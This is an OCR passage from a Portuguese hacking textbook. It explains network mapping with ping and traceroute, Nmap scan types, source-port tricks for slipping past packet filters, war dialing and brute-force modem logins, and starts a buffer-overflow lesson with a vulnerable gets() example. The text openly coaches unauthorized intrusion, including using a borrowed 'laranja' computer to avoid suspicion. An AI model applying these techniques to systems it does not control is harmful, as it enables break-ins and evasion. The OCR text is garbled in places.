Ataque, defesae contra-ataque: Busca[
Universidade 3 Ano
Em nosso diagrama, o hacker ainda no conhece os computadores de nossa
rede, representados em cor esmaecida. No decorrer deste captulo, medida
que ele for identificando as diferentes mquinas em nossa rede, as estaes vo
ficando ntidas. Posteriormente, computadores "ownados" (ou seja, j invadidos
pelo hacker) sero representados pelo cone "doente".
Observe que h um f1ltro de pacotes e um proxy, guisa de firewall. Essa
configurao cria a chamada Zona Desmilitarizada ou DMZ. Nela, os servido-
res com acesso pblico permitido (Web, FTP,SMTP...) ficam "protegidos" pelo
f11trode pacotes, que bloqueia (ou deveria bloquear) qualquer comunicao
vinda de fora e que no seja destinada a servios especficos dos servidores.
Mesmo conexes a servidores deveriam ser bloqueadas: uma conexo na porta
80 (HTTP) s permitida se o seu destino for realmente o servidor Web e no
o de SMTP.Conexes de fora em direo rede interna, nem pensar...
O proxy, que fica na borda entre a rede interna e o DMZ, traz uma camada
adicional de segurana e evita que as estaes internas conectem-se Internet.
Do contrrio, elas conectam-se ao proxy e ele (apenas ele) "fala"com a Internet.
Com esse artifcio, para quem v de fora, a rede interna composta, apenas e
to-somente, pelo proxy. O prprio proxy pode ser invadido e essas restries
contornadas, mas isso conversa para mais adiante.
Varre, varre, vassourinha...'
Todos lembram do Nmap e do Nessus? Eles so timos. Praticamente tudo o
que precisamos para descobrir coisas nas redes dos outros pode ser consegui-
do com essas duas ferramentas. Mas, para fms didticos, vamos usar duas das
ferramentas mais bsicas e presentes em todos os sistemas operacionais que
possuam algum suporte a TCP1IP.Essas ferramentas so o ping e o traceroute
(tracert no Windows).
O ping um programa minsculo que faz uma nica coisa na vida: manda um
pacote ICMPEcho Request (veja em Redes 11)para verificar se um determinado IP
existe ou se a mquina que
possui aquele IP est on-line.
Assim, podemos testar toda a
faixa de IPs designada para
aquela empresa ou organiza-
o,parasaberquaisdessesIPs
representam mquinas ligadas
diretamente na Internet.
Uma vez com a lista de IPs
"vivos"na mo, o hacker fazum
desenho parecido com este:
aO
~o 8
Todos os Ips
200.xxx.l0.n ~
~
(j)
8
200.xxx.20.10
1 jingle da campanha presidencial de jnio Quadros, em 1956.
12371
]Ataque, defesa e contra-ataque: Busca
I Universidade H4CK3R I
Cada um dos crculos representa um dos IPs. Voltando ao nosso diagrama de
redes, a viso que o atacante tem de nossas mquinas esta:
~
::::;
"
.~
200.xxx.l0.2
Proxy+ Gateway
[] Hackernov
. Hacker v
~
::::;
iP
::::;
lI'
.~.~
200.xxx.l0.20 200.xxx.20.30
SMTP+PDP Servios Diversos
~
::::;
"
.~..
200.xxx.20.10
SQl Server
Agora, o traceroute/tracert utilizado em cada um dos IPs descritos. A sinta-
xe bem simples: traceroute -n IP.QUE.QUEREMOS.VERIFICAR.Asada de um
traceroute se parece com esta:
1
2
3
4
5
6
7
192.168.1.162 0.524 ma 0.235 ma 0.204 ma
200.204.171.155 1.084 ma 1.040 ma 1.028 ma
200.204.174.122 11.322 ma 18.636 ma 272.474 ma
200.207.199.121 602.530 ma 513.476 ma 524.081 ma
200.205.255.219 559.810 ma 531.438 ma 610.651 ma
200.205.255.212 817.968 ma 596.748 ma 576.567 ma
200.205.254.134 527.308 ma 523.359 ma 548.114 ma
. .. (continua)
o parmetro -n apenas para evitar que o traceroute procure por nomes DNS
dos IPs mostrados. O hacker deve, diligentemente, anotar (ou gravar e imprimir)
todas as sadas do traceroute para todos os IPs que ele descobriu com o pingo Se
tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas
esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host
200.xxx.1.1O nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer
dizer que as mquinas esto ligadas! Em nosso diagrama:
~38I
Ataque, defesa e contra-ataque: Busca r
8
Todos os IPs
200.xxx.l0.n
Universidade 3 Ano
200.xxx.20.10
Cruzando os dados de todos os traceroutes, o hacker ter a seguinte viso:
200.xxx.l0.20
SMTP+POP
200.xxx.20.30
Servios Diversos
200.xxx.20.10
SGLServer
12391
]Ataque, defesa e contra-ataque: Busca
IUniversidade H4CK3RI
Argh! Mas isso d trabalho!
Quer moleza? V sentar no pudim! Alis, existem algumas ferramentas que
fornecem o pudim pra voc. Uma delas o LAN Surveyor, da empresa LAN
Software (www.neon.comlTutorials/LStourMAP.html). Mas, em qualquer situa-
o, a melhor ferramenta (disponvel apenas para Unix) o Cheops
(www.marko.net/cheops). Alm de ter uma interface bonita e funcional, o
Cheops faz o servio sujo pra voc. Este screenshot (retirado do site oficial)
melhor que qualquer exemplo que pudssemos preparar:
phY,is
20~.230.721!p
201.23{,72.$
Como voc pode perceber, o Cheops automatiza os procedimentos com ping e
traceroute (que tm de estar presentes no sistema) e ainda usa tcnicas de fmger
printing (que veremos adiante) para adivinhar o sistema operacional de cada n.
Procurando portas abertas
Em ambos os captulos de Vulnerabilidades, vimos algumas ferramentas para
verificar se h servios "escutando" em portas TCP ou UDP.Naquele momento,
vimos o portscanning como um processo isolado. Agora que sabemos onde se
insere no desenvolvimento de nossas buscas, podemos dar mais ateno a ele.
Embora existam centenas de portscanners por a, indiscutivelmente o Nmap
o que traz uma melhor relao custo!benefcio: gratuito, possui um bom
conjunto de testes e est em desenvolvimento contnuo.
12401
Ataque, defesa e contra-ataque: Busca[
Universidade 3 Ano
Para saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o
Help da verso Windows. As verses com frontends (Windows e Unix) possu-
em, no painel de controle, chaves para quase todos os testes e uma barra de
status na qual mostrado como ficaria a linha de comando. No vamos entrar
em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as
formas diferentes de "torcer" o handshake TCP.
O comando Nmap rodado sem argumentos faz uma conexo completa na
porta testada, o que quer dizer que todo o handshake TCP respeitado. Obvia-
mente, esse scan extremamente ruidoso e facilmente detectvel.
Escolhendo as portas de origem
Algumas redes permitem que certas portas de origem possam originar cone-
xes de fora da Internet. Como vimos, em Redes 11,os f1ltros de pacotes que
funcionam como firewalls barram conexes vindas da Internet baseadas em
regras. Entre as regras mais comuns e manjadas est aquela que barra todas as
portas no privilegiadas (ou seja, maiores que 1023) vindas de fora para den-
tro da rede. Com isso, o administrador pensa que est protegendo sua rede de
conexes originadas da mquina dos hackers.
Ele pode at pensar, mas pensa errado! Nada impede que os hackers mani-
pulem as portas de origem de seus pacotes TCP e UDP enviados ao firewall
da vtima, fazendo-o pensar que so respostas vlidas a requisies vindas de
dentro da rede.
O exemplo clssico a porta 80. Se o black hat combinar a utilizao de 80
como sua porta de origem (os portscans dignos desse nome permitem isso) com
o flag ACK acionado, o bobalho do firewall vai pensar que este um pacote
vlido - e o deixar entrar.
Firewall
(filtro de pacotes)
18
~
12411
]Ataque, defesa e contra-ataque: Busca
IUniversidade H40~3R I
Outras portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisi-
o de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de
DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha
certeza, seu administrador deixou estas abertas para jogar noite). Veja bem:
estamos falando de portas de origem. As portas de destino sero escaneadas.
Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml) seja revelador.
Para encontrar quais portas o firewall est deixando passar alm dessas
bvias, podemos usar padres de fmgerprinting (que veremos mais frente),
combinados com as tcnicas de traceroute e ping, para descobrir como funci-
onam as regras dos firewalls. No h muitos softwares bons que fazem isso,
mas um digno de nota. Existe exclusivamente para Unix e se chama FirewaIk.
Disponvel em www.packetfactory.net/firewalk/. possui uma documentao
que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito
fcil determinar as portas abertas de um filtro de pacotes funcionando como
firewall e, depois, aplicar portscans direcionados s mquinas internas passan-
do por essas portas no filtradas.
Varrendo sob o tapete
H vrias formas de usar portscanners para verificar as portas abertas. J conhecemos
o handshake completo e a conexo por ACK(vistos em Redes ll).Abaixo, segue uma lista
completa das possibilidades usando os flags do Tcp, e, de quebra, um scan UDP:
TCP Conneet Sean: scan facilmente detectvel, executa os trs handshakes
bsicos (SYN, SYN/ACK e ACK). O sistema realmente completa a conexo en-
tre o servio sendo escaneado e o scanner - e, para isso, informaes comple-
tas sobre o aplicativo-cliente (o scanner) so passadas ao servidor (o servio).
TCP SYN Sean: Conhecido como half-open scanning, devido conexo total TCP
durante a operao. Dessa forma, ele evita que o log da operao fique no sistema.
Normalmente, o programa envia um pacote SYN para a porta alvo. Se recebido
um SYN/ACK do alvo, o programa deduz que a porta est no modo de escuta; caso
seja um RST/ACK, significa que a porta no est ativa naquele momento.
UPD Sean: Trata-se de um dos processos mais lentos e imprecisos de scanning,
pois depende de fatores de utilizao da rede e de recursos de sistema. O scanner
envia um pacote UDP para a porta alvo: se a resposta for ICMP port unreachab1e, a
porta encontra-se fechada; caso contrrio, o scanner deduz que a porta est aberta.
TCP Null Sean: Neste caso, o scan desativa todos os flags e aguarda do alvo
um RST, que identifica a porta como fechada. Se nada responder, a porta pode
estar aberta (mas no certeza).
TCP FIN Sean: O scanner envia pacotes FIN para a porta alvo e espera o
retorno de um RST, identificando as portas fechadas. Se nada responder, a por-
ta pode estar aberta (novamente, sem nenhuma certeza).
TCP Xmas Sean: O scanner envia pacotes FIN, URG e PSH para a porta alvo
e espera o retorno de um RTS para portas fechadas. Nenhuma resposta indica
possvel porta aberta.
2421
Ataque. defesa e contra-ataque: Busca[
Universidade 3 Ano
Impresso digitaL na Web
Identificar o sistema operacional que est rodando no n especificado pri-
mordial para explorar as vulnerabilidades possivelmente presentes. A tcnica
usada na determinao do SO dos hosts chama-se fmger printing (ou, coleta de
impresso digital).
possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para
as portas de um n. Dependendo da maneira como responde, possvel saber
qual sistema operacional est rodando naquele host.
O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de am-
bos para saber como us-los e como interpretar os resultados. Para saber mais sobre
como ftrnciona o finger printing, procure por finger printing os determination ou
por tep udp fingerprinting em seu mecanismo de buscas favorito.
Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um
livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos,
cuja descrio pode ser facilmente encontrada na Internet.
~ FTP Bounee: usa uma caracterstica antiga dos servidores FTp' que a
possibilidade de utilizar um servidor FTP como intermedirio a fim de enviar
um arquivo para uma terceira mquina. Como possvel controlar em qual
porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da
terceira mquina (a vtima) at conseguir conexo. Na vtima, estar registrado
o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding.
~ Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I.
Todos os sistemas operacionais possuem alguma implementao de servios
RPC, e praticamente todos tm alguma que responda incorretamente a uma
conexo, revelando que aceita a conexo (apesar de no necessariamente ser
vulnervel). Procure por RPC Sean e RPC Exploit.
Procurando brechas
J falamos alguma coisa sobre furos de segurana nos dois captulos sobre
vulnerabilidades. O que um scanner de vulnerabilidade faz, normalmente, testar
cada um dos servios oferecidos de acordo com padres preestabelecidos. Caso o
sistema responda tambm de acordo com padres reconhecidamente pertencen-
tes s verses falhas, o scanner o reporta como "bugado" e, portanto, possivelmen-
te vulnervel.Todos os fmgerprints (tanto de solicitao quanto de resposta) esto
guardados em bancos de dados cuja atualizao constante e contnua.
Havamos preparado, para esta seo, um texto muito extenso, didtico e facil-
mente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando para
aquilo tudo, pensamos: "estamos negando ao leitor a oportunidade de aprender".
De fato, se dssemos o peixe, estaramos condenando-o a ser um script kiddie
para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-
12431
]Ataque, defesa e contra-ataque: Busca
IUniversidade H4CK3R I
tunidade para pensar, raciocinar e ver como as coisas funcionam. Portanto, em
vez de dar o peixe ou ensin-Io a pescar, decidimos apenas mostrar-lhe o lago.
As varas de pesca esto l. Ponha a cuca para funcionar, a mo na massa e
aprenda um pouco sozinho!
Os endereos das duas "varas de pesca" mais famosas encontram-se abaixo.
Estude-as completamente, lendo toda a sua documentao e procurando mais
informaes na Internet. Se ficar em dvida, pea ajuda! H muitos grupos de
discusso sobre redes com pessoas dispostas a ajudar - voc pode encontrar o
endereo de alguns nos captulos sobre redes. Se voc procurar bem, ver que
pode ler e aprender muita coisa antes mesmo de colocar os dedos no teclado
para escarafunchar nos buracos de algum (sem trocadilho, por favor!).
~ Nessus: www.nessus.org
~ Gherkin: www.altmode.com/gherkin/
Adicionalmente, buscas na Internet vo lhe mostrar diversas ferramentas (li-
vres ou no) de scanners de vulnerabilidade.Voc ver coisas como COPS,SAINT,
NetSaint, SARA,VLAD,NetSonar... Brinque primeiro com os dois sugeridos.
Depois que se cansar deles, baixe (ou compre, se for o caso) os outros e divirta-
se mais um pouquinho. Hackerismo isso: aprenda fazendo. Pense!
Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo,
necessrio obedecer a algumas regras fundamentais:
~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de pro-
blemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor
de tecnologia normalmente oferece atualizaes gratuitas quando a falha
deles. No deixe passar!
~ Dispare um scan contra voc mesmo. No espere que um hacker descu-
bra que voc usa um IIS vulnervel falha de Unicode ou um Sendmail com o
conhecido Sendmail Bug. Ou pior: que seu fl1"ewall um queijo suo. Os scanners
esto a para ajud-Io. Use-os!
~ Desligue os servios desnecessrios. Se voc montou um servidor Web, que
serve apenas para isso, por que vai querer um SMTPescutando na porta 25, um
POP na porta 110 e um Xna 6OO0?Deixe rodando apenas o que efetivamente ser
usado. No s para deixar menos portas para o hacker usar, como tambm porque
voc vai se esquecer dele e no aplicar os patches de segurana pertinentes.
~ Revise seu firewalI. Se os seus scans esto passando, seu firewall precisa
de uma reviso. Considere trocar o f11trode pacotes comum por um orientado
a estados e melhore as ACLs do proxy no lado de dentro do DMZ.Alis, voc
tem um DMZ, no tem?
~ Instale sistemas de deteco de intmsos, ou IDS.Veremos sistemas IDS
nos apndices no CD-ROM. Mas importante instalar um desses para garantir
que seus logs sero preservados e qualquer invaso seja prontamente rastreada.
12441
Ataque, defesae contra-ataque: Busca[
Universidade 3 Ano
Contra-atacar nesses casos, embora possvel (pois um kiddie ruidoso ficaria
nos logs, e mesmo hackers experientes cometem deslizes), no seria justific-
vel. Neste ponto, apesar de perigosamente no limiar, o hacker ainda no ultra-
passou a barreira da legalidade. Verifique sempre seus logs e use possveis
scans e ataques como avisos para atualizar seus sistemas.
12451
]Ataque, defesa e contra-ataque: Busca
Ataque, defesa e
contra-ataque:
Invaso
''Abordar navios mercantes
invadir, pilhar, tomar o que nosso!...!
Preparar a nossa invaso
E fazer justia com as proprias mos. "I
RPM, "Rdio Pirata"
1. Do albuIn Revolues por Ininuto. de 198/>'
I Universidade H4CK3RI
"Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maio-
ria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais
estapafrdias e incongruentes que o ser humano pode ser capaz de conceber.
"Poque o padre chamou". "Porque os anjos o conduziram para a plenitude
espiritual". "Porque ouviu um chamado de Al para destruir o templo de idola-
tria dos infiis". "Porque quis". "Porque sim". "Porque havia quermesse e ele
sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat,
mano"! Mas a resposta correta a mais simples e lgica de todas. O cachorro
entrou na igreja porque a porta estava aberta.
A partir deste ponto ultrapassamos os limites. A legislao brasileira no
reconhece o acesso a sistemas que estejam abertos Internet como invaso, da
mesma forma como entrar num shopping center tambm no invaso: as
portas esto abertas para tal.
Pela lei norte-americana, entretanto, esse tipo de invaso (de sistemas e de
shopping centers) j considerado invaso de propriedade. Se voc no bem
vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um
shopping center, tambm pode! Houve pelo menos um caso, divulgado pela im-
prensa, de um cidado americano processado por invaso de propriedade por
estar na rea pblica de um shopping. Explico: ele estava com uma camiseta
pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurana
do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como
recusou-se a ambas as coisas, foi preso e processado. Home of the free...
Cuidado, portanto, quando invadir sistemas geograficamente instalados l ou
pertencentes a empresas daquele pas. Voc ser processado pelas leis de l, e
provvel que seja extraditado. Hackerismo = Terrorismo = Priso Perptua...
J deu pra notar, n?
A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo qua-
tro - invaso - pode ser dividido em duas etapas.
A primeira etapa o acesso a um host da rede. Como vimos nos captulos de
redes, as redes internas das empresas normalmente no utilizam nmeros IP
roteveis pela Internet. Portanto, temos que invadir primeiramente um computa-
dor limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas.
Normalmente o prprio ftrewall, ou um proxy, mas possvel que falhas de
configurao ou mesmo descuido possam escancarar outros sistemas.
Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre
eles, a procura por modems aceitando conexes externas (war dialing) e a explora-
o de falhas especficas atravs de exploits. Observe que nenhum sistema em espe-
cial visado. Os crackers podem apontar suas miras tanto em servidores como em
estaes de trabalho e mesmo em componentes de rack como roteadores e afins!
12481
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede
interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa
etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est
dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas
autnomos disponveis para os usurios internos requer toda aquela metodologia
que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no
esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1... Sempre corrija e ajuste seu pla-
nos! As coisas mudam, os dados mudam, o administrador muda e voc sempre tem
informaes novas. Se quer sucesso, organize-se!
E, se voc for um lammer, no tem o que fazer por aqui, j que voc no quer saber de
aprender nada.V brincar com os exploits publicados e deixe os profissionais trabalharem!
War Dialing + Brute Force
Redes bem configuradas permitem acesso a elas apenas por pontos bem espe-
cficos e controladssimos, normalmente uma nica conexo com a Internet.
Empresas muito grandes possuem vrios links, mas todos eles so (ou deveriam
ser) controlados e monitorados com rigor. Entretanto, alguns funcionrios "es-
pertos" tentam driblar a lentido ou os controles de acesso a sites no-autoriza-
dos com conexes discadas ou ADSLligados diretamente a suas estaes. Esses
funcionrios no tm noo do perigo real representado por essa prtica: tais
conexes so totalmente desprotegidas, e uma vez com acesso a essas conexes,
o hacker j est dentro da rede, e pode queimar diversas etapas de sua invaso.
Em outras ocasies, a prpria empresa precisa proporcionar acesso discado
a seus funcionrios viajantes, ou aos que trabalham em casa. Para tanto, possu-
em uma bateria de modems e dezenas de nmeros de telefone disponveis para
receber chamadas e conexes. Um prato cheio para hackers!
Sim, sim, no ia deixar de comentar que o termo War Dialing foi cunhado no
filme War Games de 1983 em que Matthew Broderick discava para todos os
nmeros que ele conseguia atrs de modems livres. Mas isso provavelmente
voc j sabe. Se no, v at sua locadora e pea o filme Jogos de Guerra. Se no
um filme excelente, pelo menos as referncias tecnolgicas esto corretas -
dentro, claro, dos limites da preciso hollywoodiana. Mais informaes po-
dem ser encontradas em orbita.starmedia.com/-necrose/Sci-Fi/Filmesl
wargames.htm, www.movieprop.com/tvandmovie/reviews/wargames.htm e
jbonline. terra. com. br Ijb/papel/cadernos/internet/200 11081 151
jorinf20010815003.html.
Conhea suas armas
War dialing guerra. Se voc um soldado, vai guerra e no leva sua espa-
da, est frito! As ferramentas usadas pelos war dialers so chamadas, normal-
mente de... war dialers. Uma busca no Google traria diversos sites com essas
12491
IAtaque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
ferramentas, a maioria gratuitas e muitas delas com cdigo fonte aberto e livre.
Mas, em uma excepcional colher de ch, a vai um link com algumas delas:
neworder. box. sk/box. php::)? gfx=neworder&prj =neworder&key
=wardil&txt= Wardia1ers.
Recomendamos epecialmente, entre eles, o THC Scan (www.thc.org). a fer-
ramenta n 1 de War Dialing hoje em dia. Foi desenvolvida para DOS, mas pode
ser usada em Unix com emuladores, como o Dosemu.
Se voc quer dar uma olhada em como as coisas comearam, procure por
Demon Dia1er e pelo ToneLoc. So ferramentas parecidas com as que os
Phreakers usavam na poca do ftlme de Broderick, incluindo o prprio mock-
up da cena.
Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o
WARD, cuja descrio est no endereo www.securiteam.com/tools/
6TOOOIP5QM.html e pode ser baixado e www.Oxdeadbeef.info/code/ward.c;
ou prolas como o Jericho e o ShockDial, ambos encontrveis em
www.securityfocus.com/tools/ category /26.
H tambm muitos war dialers comerciais, destinados a permitir que empresas
testem suas instalaes procura de modems perdidos. Uma das mais completas
o Phone Sweep (www.sandstorm.net).Alm da excelncia do software, a empresa
promete consultoria e suporte por assinatura (com pagamento mensal).
$
$
_1005
~1006
1'1.11*
2001-07-2003:25
2001-07-2019:51
2001-07-20 20 52
2001-07-2021 :40
2001-07-2022:26
1'1.11*
2001-07-1822:13
2001-07-1822:15
1'1.11*
2001-07-1823:42
1'1.11*
1'1""
2001-07-1901:42
1'1.11*
1'1.11*
2001-07-1922:08
1'1.11*
1'1.11*
n 1'1
EI
$
~1001
~}
~1002
1iil1003
~1004
$
$
[tI-
[tI-
250 I
Ataque, defesa e contra-ataque: Invaso
8USY Unknown
8USY Unknown
8USY Unknown
BUSY Unknown
BUSY Unknown
NOJACSIMILEUnknown
CARRIER Unknown
VOICE Unknown
TIMEOUT Unknown
VOICE Unknown
Universidade 3ano
Uma lista de equipamentos reconhecidamente vulnerveis e detectveis pelo
Phone Sweep podem ser encontrados em www.sandstorm.net/products/
phonesweep//sysids.shtml.
Outra opo o TeleSweep, da Securelogic. Mais informaes em
telesweepsecure .securelogix.com.
Nossa recomendao: baixe, instale e brinque com, pelo menos, as ferramen-
tas gratuitas listadas aqui. Voc vai descobrir que, nesta poca de ADSLe Cable
Modem, ainda existem MUITOSmodems discados recebendo chamadas por a,
especialmente em empresas.
Outra dica: voc pode usar os discadores dos provedores de acesso como
War Dialers improvisados!!! A maioria deles possuem um arquivo externo com
a lista de nmeros de telefone de conexo. Basta substituir essa lista por uma
especialmente criada, e voc ter um war dialer instantneo, inclusive com
rediscagem automtica e varredura de todos os nmeros da lista. Baixe os
discadores de todos os provedores que voc se lembrar e verifique. Esta dica
muito til quando se est usando um computador laranja como discador e no
se quer levantar suspeitas com programas especializados. Um THC Scan levan-
taria suspeitas no computador do seu tio, mas o discador do iG (ou do Terra,
do iBest, do UOL ou da AOL...) passaria despercebido, ainda mais se o seu tio
for assinante de um desses provedores.
Ah, a fora bruta to linda...
Certo, voc descobriu nmeros de telefone que possuem modems atendendo
a chamados externos. Mas e agora, o qu fazer com eles? Entra agora em cena
outro tipo de war dialer que, ao invs de varrer nmeros atrs de modems, faz
inmeras tentativas de login em um mesmo nmero.
Se em outros tipos de controle de acesso por login e senha possvel encon-
trar outros meios de entrada alm do brute-force, com modems a coisa dife-
rente. Voc no tem qualquer outra informao alm do prompt do sistema
pedindo um usurio vlido. Sua nica sada usar um programa de fora bruta
para tentar entrar. Logicamente, usar suas listas de palavras (que vimos nos
captulos sobre vulnerabilidades) e saber o nome de algum usurio ajuda mui-
to aqui.Ateno lammers! Usar SQLinjection em modems a demonstrao de
burrice mais enfadonha que voc poderia cometer. No que faa algum mal,
mas mostra claramente que voc no entende nada de nada, mesmo... V brin-
car de carrinho ou de boneca!
Se voc usou o THC Scan, um bom companheiro para ele o THC Login
Hacker. Baixe-o e veja como fcil entrar, quando se encontra um modem
"compreensivo". No site oficial h diversos programas, exploits e brute-forcers
para muitos protocolos, incluindo 5MB, HTTP, FTP e Proxy. Verifique em
www.thc.org/releases. php.
A propsito, THC acrnimo para The Hackers Choice... Apesar da arrogn-
1251 I
IAtaque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
cia e presuno do ttulo auto-outorgado, as ferramentas so realmente muito
boas. No site ainda encontramos diversos whitepapers sobre invaso e segu-
rana dignos de leitura.
Entendendo o estouro de pilha
(buffer overflowJ
Vrios exploits valem-se dos chamados buffer overflows para conseguir um
shell nos sistemas vulnerveis a eles. Os script kiddies aplicam pesadamente
tais exploits em suas presas sem saber exatamente o que so e como funcio-
nam. Como queremos ter mais do que noes, na verdade, um entendimento
completo de como essas ferramentas operam, teremos que escovar um pouco
mais de bits, dessa vez olhando atentamente o cdigo dos aplicativos. No
preciso dizer que ser necessrio desenferrujar seus conhecimentos de lingua-
gens de programao, mas nada de outro planeta.
Como o nome estouro de pilha, obviamente h uma pilha a ser estourada
(d!). Para entender como o estouro funciona, devemos, primeiramente,
conceituar o que seria essa tal de pilha.
Um amontoado de coisas...
A palavra portuguesa pilha nos traz cabea duas imagens:
1. Uma pilha de pedras, de pratos, de moedas, de corpos no filme do Stallone...
2. Uma clula de energia eltrica usada em lanternas portteis e brinquedos.
Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas
que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel
po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a
outra. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuida-
dosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda,
depois a terceira... Observe um detalhe: a primeira moeda a ser retirada foi a
ultima a ser colocada.
No exemplo da pilha de pedras, Fred Flintstone usando seu tratorossauro
recolhe pedras retiradas da encosta e as empilha no local indicado pelo Sr.
Pedregulho Slate, seu chefe. Note que, nesse caso, as pedras que Fred pega
primeiro so as que vo ficar por baixo da pilha. Mas talvez o melhor exemplo
(e mais til) seja mesmo o da pilha de pratos. Podemos inclusive usar um exem-
plo de pilhas recursivas. Quando os pratos esto sujos na mesa e a loua do dia
sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe:
o ltimo prato que voc pegou fica no topo da pilha. Quando chega cozinha,
faz o caminho inverso. Como no d pra colocar a pilha toda de uma vez, voc
pega prato por prato e os empilha novamente, desta vez na pia. medida que
os vai lavando, voc os empilha pela terceira vez (agora j limpos) do outro
1252 I
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-Ios no
armrio... , acho que voc j entendeu.
E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por
curiosidade, o nome "pilha" dado a esse elemento gerador de energia porque as
primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais dife-
rentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e
mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver...
As piLhasno reino digitaL
E o que tm os computadores com isso? Pegando emprestado a noo de
pilhas, os programas em geral (e os sistemas operacionais em particular) po-
dem pegar fragmentos de dados e os guardar em reas de memria chamadas
pilhas ou stacks. uma maneira fcil de armazenar pequenos dados, pois num
acessso convencional de memria o programa obrigado a:
1. Defmir a posio de memria onde o dado ser guardado;
2. Defmir o tamanho em bytes que o dado ter;
3. Reservar esse tamanho em bytes na posio defmida;
4. Mandar o dado para essa posio;
5. Bloquear a posio para que no seja sobreescrita.
Para recuperar o dado, o programa ter que:
1. Lembrar a posio de memria onde o dado est;
2. Apontar para aquela posio;
3. Lembrar o tamanho dos dados em bytes;
4. Puxar esses bytes daquela posio de memria;
5. Liberar a posio para uso futuro.
No caso da pilha, no h necessidade de nada disso. O programa pode sim-
plesmente:
1. Mandar dados para a pilha (push).
Na hora de recuper-Ios, basta:
1. Puxar dados da pilha (pop).
claro, como um acesso seqencial e no aleatrio, caso queiramos usar o
segundo dado da pilha antes teremos que retirar o primeiro dado. Isso traz
dificuldades adicionais para o programa, que tem que "dar um jeito" de gerenciar
os dados da pilha corretamente. Mas h aplicaes onde essa abordagem a
melhor. Por exemplo, imagine que queiramos fazer um programinha que faa
uma soma de trs valores. A forma mais simples desse programa seria:
1. Chama funo soma(a,b);
1253 I
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
2.
3.
4.
5.
6.
7.
8.
Obtm primeiro nmero e o entrega funo soma;
Obtm o segundo nmero e o entrega funo soma;
Coloca o resultado na pilha;
Chama funo soma(a,b);
Obtm terceiro nmero e o entrega funo soma;
"Puxa" o topo da pilha e entrega funo soma;
Soma(a,b) faz a operao e joga o resultado na sada.
Observe que o resultado da primeira soma ficou armazenado na pilha, espe-
rando ser chamado de volta ao fluxo normal do programa. Uma soluo como
essa envolvendo posies de memria demandaria funes para reservar me-
mria para trs variveis, envio e recuperao triplicada de dados e possivel-
mente uma funo soma mais complexa.
Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno pro-
grama em C. Deve rodar de forma idntica em qualquer plataforma, pois no
usa bibliotecas especficas.
void funcao_idiota (void)
char xuxu[5];
gets (xuxu);
printf(ll%s\nll, xuxu );
main()
funcao_idiota() ;
return o;
No se preocupe, voc no precisar ter visto um programa C alguma vez na
vida para entender este aqui. Veja s: qualquer linguagem estruturada que se
preze permite que voc crie, com os comandos bsicos que ela possui, funes
mais complexas para serem usadas pelo programa principal. Em nosso exem-
plo (e em qualquer cdigo C), o programa principal "marcado" pela funo
main( ). Dentro das chaves { e } temos o programa completo, composto por
duas outras funes:
main()
funcao_idiota() ;
return o;
12541
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
funcao_idiota( ) chama uma funo criada por ns mesmos, e declarada no
incio do programa. J a prxima linha, return O, indica que o programa deve
encerrar nessa linha e retornar para o shell que a chamou.
Temos que dedararfuncao_idiota() antes dela poder ser usada. Ento, vamos a ela!
void funcao_idiota (void)
{
char xuxu[5];
gets (xuxu);
printf(H%s\nH, xuxu );
A funo , a grosso modo, uma sub-rotina que pode ser usada vrias vezes
dentro do programa. Em nosso main( ) a usamos apenas uma vez, mas seria
